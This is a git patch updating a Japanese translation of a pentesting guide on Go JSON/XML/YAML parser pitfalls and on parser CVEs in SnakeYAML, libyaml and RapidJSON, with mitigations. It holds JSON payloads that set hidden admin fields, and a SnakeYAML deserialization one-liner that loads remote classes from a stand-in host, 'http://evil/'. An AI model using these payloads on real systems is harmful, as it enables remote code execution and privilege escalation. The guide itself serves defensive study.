From 011830d387b305f6e4f5d2963fea0c98d1dcf3e5 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 20:31:30 +0000 Subject: [PATCH] Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to ja --- src/pentesting-web/json-xml-yaml-hacking.md | 64 ++++++++++++++++----- 1 file changed, 50 insertions(+), 14 deletions(-) diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 89e441cd0..52b14e3d4 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -6,7 +6,7 @@ Go JSON で以下の問題が検出されましたが、他の言語にも存在する可能性があります。これらの問題は[**このブログ投稿**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/)で公開されました。 -Go の JSON、XML、および YAML パーサーには、一貫性のない長い履歴と、**認証をバイパス**、**権限を昇格**、または**機密データを抽出**するために悪用される可能性のある不安全なデフォルトがあります。 +Go の JSON、XML、および YAML パーサーには、一貫性のない長い履歴と、安全でないデフォルトがあり、これを悪用して**認証をバイパス**したり、**権限を昇格**させたり、**機密データを抽出**したりすることができます。 ### (Un)Marshaling 予期しないデータ @@ -23,7 +23,7 @@ IsAdmin bool `json:"-"` ``` - 一般的な脆弱性 -1. **タグの欠如** (タグなし = フィールドはデフォルトでまだ解析される): +1. **タグが欠落している** (タグなし = フィールドはデフォルトでまだ解析される): ```go type User struct { Username string @@ -33,7 +33,7 @@ Username string ```json {"Username": "admin"} ``` -2. **`-`の不適切な使用**: +2. **`-`の誤った使用**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong @@ -43,7 +43,7 @@ IsAdmin bool `json:"-,omitempty"` // ❌ wrong ```json {"-": true} ``` -✔️ フィールドを(アン)マーシャルされないようにブロックする正しい方法: +✔️ フィールドを(アン)マーシャルされないようにブロックする正しい方法: ```go type User struct { IsAdmin bool `json:"-"` @@ -109,21 +109,57 @@ GoのXMLパーサーはそれを**とにかく**解析し、注入されたア "ignored": "Action_3" } ``` -結果: - **Go JSON** パーサー: `Action_2` (大文字小文字を区別しない + 最後が勝つ) - **YAML** パーサー: `Action_1` (大文字小文字を区別する) -- **XML** パーサー: 文字列内の `"Action_3"` を解析 +- **XML** パーサー: 文字列内の `"Action_3"` を解析する +--- -### 🔐 緩和策 +## 注目すべきパーサーの脆弱性 (2023-2025) -| リスク | 修正 | -|-----------------------------|---------------------------------------| -| 不明なフィールド | `decoder.DisallowUnknownFields()` | -| 重複フィールド (JSON) | ❌ stdlib に修正なし | -| 大文字小文字を区別しない一致 | ❌ stdlib に修正なし | -| XML ゴミデータ | ❌ stdlib に修正なし | -| YAML: 不明なキー | `yaml.KnownFields(true)` | +> 次の公に悪用可能な問題は、安全でないパースが多言語の問題であることを示しています — 単なるGoの問題ではありません。 +### SnakeYAML デシリアライズ RCE (CVE-2022-1471) + +* 影響を受ける: `org.yaml:snakeyaml` < **2.0** (Spring-Boot、Jenkinsなどで使用される)。 +* 根本原因: `new Constructor()` が **任意のJavaクラス** をデシリアライズし、リモートコード実行に至るガジェットチェーンを可能にします。 +* ワンライナー PoC (脆弱なホストで計算機を開きます): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* 修正 / 緩和策: +1. **≥2.0にアップグレード**(デフォルトで`SafeLoader`を使用)。 +2. 古いバージョンでは、明示的に`new Yaml(new SafeConstructor())`を使用。 + +### libyaml ダブルフリー (CVE-2024-35325) + +* 影響: `libyaml` ≤0.2.5(多くの言語バインディングで利用されるCライブラリ)。 +* 問題: `yaml_event_delete()`を2回呼び出すとダブルフリーが発生し、攻撃者がこれをDoSや、場合によってはヒープの悪用に変えることができる。 +* ステータス: 上流は「APIの誤用」として拒否したが、Linuxディストリビューションはポインタを防御的にnull-freeにするパッチを当てた**0.2.6**を出荷した。 + +### RapidJSON 整数 (アンダー|オーバー) フロー (CVE-2024-38517 / CVE-2024-39684) + +* 影響: Tencent **RapidJSON** コミット`8269bc2`以前(<1.1.0-patch-22)。 +* バグ: `GenericReader::ParseNumber()`での未チェックの算術演算により、攻撃者が巨大な数値リテラルを作成し、それがラップアラウンドしてヒープを破損させる — 最終的に、結果として得られるオブジェクトグラフが認可決定に使用されるときに特権昇格を可能にする。 + +--- + +### 🔐 緩和策 (更新) + +| リスク | 修正 / 推奨事項 | +|-------------------------------------|------------------------------------------------------------| +| 不明なフィールド (JSON) | `decoder.DisallowUnknownFields()` | +| 重複フィールド (JSON) | ❌ stdlibに修正なし — [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five)で検証 | +| 大文字小文字を区別しない一致 (Go) | ❌ 修正なし — 構造体タグを検証 + 入力を事前正規化 | +| XML ゴミデータ / XXE | 強化されたパーサーを使用 (`encoding/xml` + `DisallowDTD`) | +| YAML 不明なキー | `yaml.KnownFields(true)` | +| **安全でない YAML デシリアライズ** | SafeConstructorを使用 / SnakeYAML ≥2.0にアップグレード | +| libyaml ≤0.2.5 ダブルフリー | **0.2.6**またはディストリビューションパッチ済みリリースにアップグレード | +| RapidJSON <パッチ済みコミット | 最新のRapidJSON(≥2024年7月)に対してコンパイル | + +## 参考文献 + +- Baeldung – “SnakeYAML 2.0でCVE-2022-1471を解決する” +- Ubuntu Security Tracker – CVE-2024-35325 (libyaml) {{#include ../banners/hacktricks-training.md}}